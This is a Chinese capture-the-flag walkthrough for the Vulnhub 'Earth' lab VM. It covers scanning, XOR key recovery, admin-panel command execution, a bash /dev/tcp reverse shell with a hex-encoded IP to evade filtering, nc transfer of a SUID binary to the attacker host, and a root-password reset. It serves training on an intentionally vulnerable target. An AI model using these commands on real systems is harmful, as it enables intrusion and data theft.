【Vulnhub靶场】 Earth
earth地球
下载地址: https://download.vulnhub.com/theplanets/Earth.ova
下载后用虚拟机打开即可。
靶机:198.168.147.181
攻击机kali:192.168.147.178
一、信息收集
1、扫描同网段存活服务器
- arp-scan -l
2、确定存活服务器ip后,查看开启端口和服务
-
nmap -A -p 1-65535 192.168.147.181 扫描端口
-
发现443端口存在DNS解析,在hosts文件中添加DNS解析:
3、访问earth.local,收集信息
- 发现存在之前发送过的信息
37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40
3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45
2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a
- 接下来扫描目录 dirb https://earth.local
访问 https://earth.local/admin发现是个登陆界面
4、访问terratest.earth.local收集信息
- 扫描目录 dirb https://terratest.earth.local
- 访问https://terratest.earth.local/robots.txt
- 发现有个testingnotes文件,但是不知道是图中的哪种格式,手动测试后发现是txt格式,访问testingnotes.txt。
测试安全消息系统注意事项:
*使用XOR加密作为算法,在RSA中使用应该是安全的。
*地球已确认他们已收到我们发送的信息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做:
*我们如何安全地将每月的密钥发送到地球? 或者我们应该每周更换钥匙?
*需要测试不同的密钥长度以防止暴力破解。 钥匙应该多长时间?
*需要改进消息界面和管理面板的界面,目前非常基础。 - 得到新的消息使用XOR算法进行加密, testdata.txt用于测试加密,terra作为登陆用户名。访问tsetdata.txt,将其下载到本地。
二、漏洞破解
1、破解密码
- 写个简单py脚本,选一个Previous Messages数据,然后与 testdata.txt 进行一下 XOR 运算,得到密钥。
- https://www.cnblogs.com/sx66/p/14282746.html ^
- https://www.cnblogs.com/xywq/p/7594280.html binascii.b2a_hex
- https://zhidao.baidu.com/question/566618056985708284.html int(data1,16)
- https://zhidao.baidu.com/question/1966099422759024740.html open('testdata.txt', 'rb').read()
import binascii
data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))
- 运算得到以下数据
0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174
- 十六进制转文本
- 发现密码是重复的,使用用户名 terra ,密码:earthclimatechangebad4humans 登录 https://earth.local/admin,登陆上去以后发现可以进行命令执行。
- 使用find命令查找flag,执行 find / -name "flag"
- 发现/var/earth_web/user_flag.txt文件,查看一下:cat /var/earth_web/user_flag.txt
三、反弹shell
- 这里使用16进制 ip地址方式绕过限制、bash -i >& /dev/tcp/0xc0.0xa8.0x93.0xb2/1234 0>&1
- 连接成功
- 执行whoami,发现权限较低。
四、提权
- 查找有权限的命令:find / -perm -u=s -type f 2>/dev/null
发现有个/usr/bin/reset_root,感觉可以提权,查看一下:strings /usr/bin/reset_root
- 运行一下reset_root:
检查是否存在重置触发器...
重置失败,所有触发器都不存在。 - 本地没有调试的命令,利用nc传送到本地。(注意命令顺序)
nc -nlvp 9999 >reset_root 1、新建一个命令窗口,执行这句
nc 192.168.147.178 9999 < /usr/bin/reset_root 2、在反弹shell的命令窗口界面执行 - 文件传送成功
- 在本地进行调试:strace ./reset_root 可能发生权限不够的错误
- sudo chmod 777 reset_root chmod提权 过后再次执行 strace ./reset_root
access("/dev/shm/kHgTFI5G", F_OK)
access("/dev/shm/Zw7bV9U5", F_OK)
access("/tmp/kcM0Wewe", F_OK) - 在靶机中创建这三个文件
- touch /dev/shm/kHgTFI5G touch /dev/shm/Zw7bV9U5 touch /tmp/kcM0Wewe
- 再次执行reset_root
- 成功获取root密码。
- 查找flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!